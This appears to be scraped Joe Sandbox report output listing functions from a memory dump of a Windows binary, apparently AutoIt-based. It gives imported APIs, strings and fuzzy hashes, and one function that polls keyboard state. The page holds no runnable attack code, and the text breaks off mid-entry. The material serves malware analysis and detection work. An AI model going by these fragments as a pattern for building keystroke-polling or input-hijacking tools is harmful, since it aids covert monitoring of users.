Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 943ed5231ff97ce5d0668da8a3e52afb200dc7e51f268dcd55eb0e606055fc9b
Instruction ID: 5a3ab015d49fefab6d9a08a0ee2b94e5aa94c47f9adf8452ca5d02fff79c64ff
Opcode Fuzzy Hash: 943ed5231ff97ce5d0668da8a3e52afb200dc7e51f268dcd55eb0e606055fc9b
Instruction Fuzzy Hash: 52616A75900248AFDB11DFA4DC85EEE7BF8AB08710F10015AFE14A72A1D770AE85DF94

Function 00C27599 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00C275C0
SafeArrayAllocData.OLEAUT32(?), ref: 00C27619
VariantInit.OLEAUT32(?), ref: 00C2762B
SafeArrayAccessData.OLEAUT32(?,?), ref: 00C2764B
VariantCopy.OLEAUT32(?,?), ref: 00C2769E
SafeArrayUnaccessData.OLEAUT32(?), ref: 00C276B2
VariantClear.OLEAUT32(?), ref: 00C276C7
SafeArrayDestroyData.OLEAUT32(?), ref: 00C276D4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00C276DD
VariantClear.OLEAUT32(?), ref: 00C276EF
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00C276FA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: c41759dc3b069340fd5c6775a0b41b4a279d4d4251de612f116955fc1bea9473
Instruction ID: 3a43e3c34d762657bbeb1e258b3cf35b969df062ae1abc1b7114129c309e9108
Opcode Fuzzy Hash: c41759dc3b069340fd5c6775a0b41b4a279d4d4251de612f116955fc1bea9473
Instruction Fuzzy Hash: DD418335A042199FCF11DF69D888EAEBBB9FF08350F108169F915A7261DB70E945CF90

Function 00C30374 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C3039C
GetAsyncKeyState.USER32(000000A0), ref: 00C3041D
GetKeyState.USER32(000000A0), ref: 00C30438
GetAsyncKeyState.USER32(000000A1), ref: 00C30452
GetKeyState.USER32(000000A1), ref: 00C30467
GetAsyncKeyState.USER32(00000011), ref: 00C3047F
GetKeyState.USER32(00000011), ref: 00C30491
GetAsyncKeyState.USER32(00000012), ref: 00C304A9
GetKeyState.USER32(00000012), ref: 00C304BB
GetAsyncKeyState.USER32(0000005B), ref: 00C304D3
GetKeyState.USER32(0000005B), ref: 00C304E5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: e813e1dbdcd44dae01028998d95758c659481e574ab88cf017f7310c3630170c
Instruction ID: fe9edb1f4b47d29dad0f2b8b7d54648a9554790ef7cc200aa4b1f83f498e13c1
Opcode Fuzzy Hash: e813e1dbdcd44dae01028998d95758c659481e574ab88cf017f7310c3630170c
Instruction Fuzzy Hash: 6F4129315547CA6AFF31876488243B6BFA06F11300F28805ADBE6575C2EBE45BC4CBA2

Function 00C4886D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

CoInitialize.OLE32 ref: 00C488B5
CoUninitialize.OLE32 ref: 00C488C0
CoCreateInstance.OLE32(?,00000000,00000017,00C63BBC,?), ref: 00C48920
IIDFromString.OLE32(?,?), ref: 00C48993
VariantInit.OLEAUT32(?), ref: 00C48A2D
VariantClear.OLEAUT32(?), ref: 00C48A8E

Strings

Failed to create object, xrefs: 00C4892B, 00C489E1
NULL Pointer assignment, xrefs: 00C48965
Invalid parameter, xrefs: 00C489AC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: bb4de0b2f9628c4322d1045a0f6b3922f78ee61726dd47460e30fb3f8996cc88
Instruction ID: bad3dc6abca3e6c936cec4635933295cc7eae0f777ff89a69d1085aec829ad80
Opcode Fuzzy Hash: bb4de0b2f9628c4322d1045a0f6b3922f78ee61726dd47460e30fb3f8996cc88
Instruction Fuzzy Hash: 2C61AC30608711AFC720DF15C848B6EB7E8FF48714F14085AF985AB291DB70EE48DB92

Function 00C3B973 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C3B980
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00C3B9F6
GetLastError.KERNEL32 ref: 00C3BA00
SetErrorMode.KERNEL32(00000000,READY), ref: 00C3BA6D

Strings

INVALID, xrefs: 00C3BA3F
READONLY, xrefs: 00C3BA38
NOTREADY, xrefs: 00C3BA2C
UNKNOWN, xrefs: 00C3BA25
READY, xrefs: 00C3BA46

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 4889f8271ce1455d6f872a5be75879d4028bf4b12f94cd4a0641079af3bfd983
Instruction ID: b20630ef123a5f114da15802eb293d5c7c35f4fa3a3306c3f343d459428fe676
Opcode Fuzzy Hash: 4889f8271ce1455d6f872a5be75879d4028bf4b12f94cd4a0641079af3bfd983
Instruction Fuzzy Hash: 24312535A10605AFCB10EF69C885FBEB7B4FF04300F248466EA16E7291DB719E05DB40

Function 00C2992A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00C299AF
GetDlgCtrlID.USER32 ref: 00C299BA
GetParent.USER32 ref: 00C299D6
SendMessageW.USER32(00000000,?,00000111,?), ref: 00C299D9
GetDlgCtrlID.USER32(?), ref: 00C299E2
GetParent.USER32(?), ref: 00C299FE
SendMessageW.USER32(00000000,?,?,00000111), ref: 00C29A01

Strings

ListBox, xrefs: 00C2996C
ComboBox, xrefs: 00C29937

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: abace5c7dc8a61f6611ee9f5f1808dcb615c186c84885ca93d462eca6305f134
Instruction ID: 3b0b9e9bdc4a4ea7e810acda0d4b09644b3af188123cbeb21cb0ddb53947ce9c
Opcode Fuzzy Hash: abace5c7dc8a61f6611ee9f5f1808dcb615c186c84885ca93d462eca6305f134
Instruction Fuzzy Hash: 9021F170A00204ABCF00EB61DC85EBEBBB8EF84300F200115F861A72E1DBB58914DA20

Function 00C29A15 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00C29A98
GetDlgCtrlID.USER32 ref: 00C29AA3
GetParent.USER32 ref: 00C29ABF
SendMessageW.USER32(00000000,?,00000111,?), ref: 00C29AC2
GetDlgCtrlID.USER32(?), ref: 00C29ACB
GetParent.USER32(?), ref: 00C29AE7
SendMessageW.USER32(00000000,?,?,00000111), ref: 00C29AEA

Strings

ListBox, xrefs: 00C29A57
ComboBox, xrefs: 00C29A22

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 5a609cf226ba6adf9392f3bd1b592e5762dc7f5bed7e06ed53c9217cdba1c787
Instruction ID: b7bbf7e0103def9f4f4a9c9c6d750fb988d9fb253565f2471788510d9655bb84
Opcode Fuzzy Hash: 5a609cf226ba6adf9392f3bd1b592e5762dc7f5bed7e06ed53c9217cdba1c787
Instruction Fuzzy Hash: 80219074A00218ABDB10EB65DC85FFEBBB9EB54300F600155F961A7291DBB58915EB20

Function 00C29AFE Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00C29B0A
GetClassNameW.USER32(00000000,?,00000100), ref: 00C29B1F
_wcscmp.LIBCMT ref: 00C29B31
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00C29BAC

Strings

details, xrefs: 00C29B5A
list, xrefs: 00C29B8E
SHELLDLL_DefView, xrefs: 00C29B2B
largeicons, xrefs: 00C29B40
smallicons, xrefs: 00C29B74

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 53a69fa0cf119a8d6838599a15ff1ec594c04eef506dedb79a14dcd6f361fb41
Instruction ID: e575213e5c0bc5152b5d67f7b73435de263f5325e51171725e120aaf6bcad9fb
Opcode Fuzzy Hash: 53a69fa0cf119a8d6838599a15ff1ec594c04eef506dedb79a14dcd6f361fb41
Instruction Fuzzy Hash: 2D11E37664831AFBFA302622FC06EB673DCDB15724F200066FA04B58E2FEB269544655

Function 00C48D5D Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C48D89
CoInitialize.OLE32(00000000), ref: 00C48DB6
CoUninitialize.OLE32 ref: 00C48DC0
GetRunningObjectTable.OLE32(00000000,?), ref: 00C48EC0
SetErrorMode.KERNEL32(00000001,00000029), ref: 00C48FED
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00C63BDC), ref: 00C49021
CoGetObject.OLE32(?,00000000,00C63BDC,?), ref: 00C49044
SetErrorMode.KERNEL32(00000000), ref: 00C49057
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00C490D7
VariantClear.OLEAUT32(?), ref: 00C490E7

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 562116744391936a7087a4ad8c0da8d8044ec84f2052ba6dd6de8f76c6060613
Instruction ID: f7263b598983a84562a89aad5214f14b3e3d129fb543ec8d6e634b624e415e8a
Opcode Fuzzy Hash: 562116744391936a7087a4ad8c0da8d8044ec84f2052ba6dd6de8f76c6060613
Instruction Fuzzy Hash: EFC15470608305AFD700DF68C884A2BB7E9FF88748F10495DF98A9B251DB71ED49CB92

Function 00C31839 Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C3185B
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00C308D3,?,00000001), ref: 00C3186F
GetWindowThreadProcessId.USER32(00000000), ref: 00C31876
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C308D3,?,00000001), ref: 00C31885
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C31897
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C308D3,?,00000001), ref: 00C318B0
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C308D3,?,00000001), ref: 00C318C2
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00C308D3,?,00000001), ref: 00C31907
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C308D3,?,00000001), ref: 00C3191C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C308D3,?,00000001), ref: 00C31927

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d346aebb5462b61988dff5a49d311218520ddb3e3993030057f928b383739a58
Instruction ID: bf96111ef4c3236745005015cf453d72ff436ab40dff78fc7b8f93f6d7e33804
Opcode Fuzzy Hash: d346aebb5462b61988dff5a49d311218520ddb3e3993030057f928b383739a58
Instruction Fuzzy Hash: 1E31CE71521308EFEB219B91DC5CBBE77ADEB49321F24411AFD10A6290D7B09E408B55

Function 00C0C013 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BD260D
SetTextColor.GDI32(?,000000FF), ref: 00BD2617
SetBkMode.GDI32(?,00000001), ref: 00BD262C
GetStockObject.GDI32(00000005), ref: 00BD2634
GetClientRect.USER32(?), ref: 00C0C02C
SendMessageW.USER32(?,00001328,00000000,?), ref: 00C0C043
GetWindowDC.USER32(?), ref: 00C0C04F
GetPixel.GDI32(00000000,?,?), ref: 00C0C05E
ReleaseDC.USER32(?,00000000), ref: 00C0C070
GetSysColor.USER32(00000005), ref: 00C0C08E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 1abecb98f956fc2aa48876e697ba185753a07ca5aaf27a2d5376f680d8a648fc
Instruction ID: de4c9ca54184146fb0780865f12ecf06bf8c38568aee3abeb887278673d19521
Opcode Fuzzy Hash: 1abecb98f956fc2aa48876e697ba185753a07ca5aaf27a2d5376f680d8a648fc
Instruction Fuzzy Hash: 78117C31100205AFDB615FA5EC48BEE7BB1EB19321F204266FA26A51E1CBB14951EF11

Function 00BDAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00BDADE1
OleUninitialize.OLE32(?,00000000), ref: 00BDAE80
UnregisterHotKey.USER32(?), ref: 00BDAFD7
DestroyWindow.USER32(?), ref: 00C12E94
FreeLibrary.KERNEL32(?), ref: 00C12EF9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00C12F26

Strings

close all, xrefs: 00BDADDC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: a1f58dd43578c62a8ffd50481a70f1112c3e8f9fd91a7f1d3aaad06f59974818
Instruction ID: f6d616444a2deba7fded4dc9ea3cc93c115d28659b900ae6f26c41f60cd63a17
Opcode Fuzzy Hash: a1f58dd43578c62a8ffd50481a70f1112c3e8f9fd91a7f1d3aaad06f59974818
Instruction Fuzzy Hash: 4CA169347012228FCB29EF55C495B69F7A4EF05700F2042EDE90AAB361DB31AD66DF91

Function 00C2AB4C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00C2AF1D), ref: 00C2AE5B

Strings

CLASSNN, xrefs: 00C2ABFD
NAME, xrefs: 00C2AC8D
TEXT, xrefs: 00C2AD92
CLASS, xrefs: 00C2ABDA
INSTANCE, xrefs: 00C2AD69
REGEXPCLASS, xrefs: 00C2AC20

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 5f04a51c2a9a9f5b370c7e66a01fe7b124f4ea5f0a3f1d2678bad1679614409f
Instruction ID: 6523e0a7eedefeace472280f9fbb6b4b946d1c731eb6ea0bb1e44e5ddf2f1617
Opcode Fuzzy Hash: 5f04a51c2a9a9f5b370c7e66a01fe7b124f4ea5f0a3f1d2678bad1679614409f
Instruction Fuzzy Hash: 6E911870600519ABCB08EF60D441BFEFBB9FF04300F908159D96AA7A52DF316A9DDB91

Function 00BD31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00BD327E

Part of subcall function 00BD218F: GetClientRect.USER32(?,?), ref: 00BD21B8
Part of subcall function 00BD218F: GetWindowRect.USER32(?,?), ref: 00BD21F9
Part of subcall function 00BD218F: ScreenToClient.USER32(?,?), ref: 00BD2221

GetDC.USER32 ref: 00C0CFA3
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00C0CFB6
SelectObject.GDI32(00000000,00000000), ref: 00C0CFC4
SelectObject.GDI32(00000000,00000000), ref: 00C0CFD9
ReleaseDC.USER32(?,00000000), ref: 00C0CFE1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00C0D06C

Strings

U, xrefs: 00C0CF41

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 70da03befe3f6df144cd8713fcec97f54f0274b9c629b7055961f04be93bbe20
Instruction ID: c79f6dcc82ccacc184847fabd500dfcb8adc56744a98ac8c3aa8ee2fab188b72
Opcode Fuzzy Hash: 70da03befe3f6df144cd8713fcec97f54f0274b9c629b7055961f04be93bbe20
Instruction Fuzzy Hash: CD71C530500205EFCF218FA4C884ABA7BB5FF49354F1442AAFD66562E6D7318A52DF51

Function 00C5C3AF Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

Part of subcall function 00BD2714: GetCursorPos.USER32(?), ref: 00BD2727
Part of subcall function 00BD2714: ScreenToClient.USER32(00C967B0,?), ref: 00BD2744
Part of subcall function 00BD2714: GetAsyncKeyState.USER32(00000001), ref: 00BD2769
Part of subcall function 00BD2714: GetAsyncKeyState.USER32(00000002), ref: 00BD2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00C5C417
ImageList_EndDrag.COMCTL32 ref: 00C5C41D
ReleaseCapture.USER32 ref: 00C5C423
SetWindowTextW.USER32(?,00000000), ref: 00C5C4CD
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00C5C4E0
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00C5C5C2

Strings

@GUI_DROPID, xrefs: 00C5C514
@GUI_DRAGFILE, xrefs: 00C5C557

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 9a4a2504ce10d8f613550c91552f7c33f0c56cf4bb5463a87ff6119e5f714d67
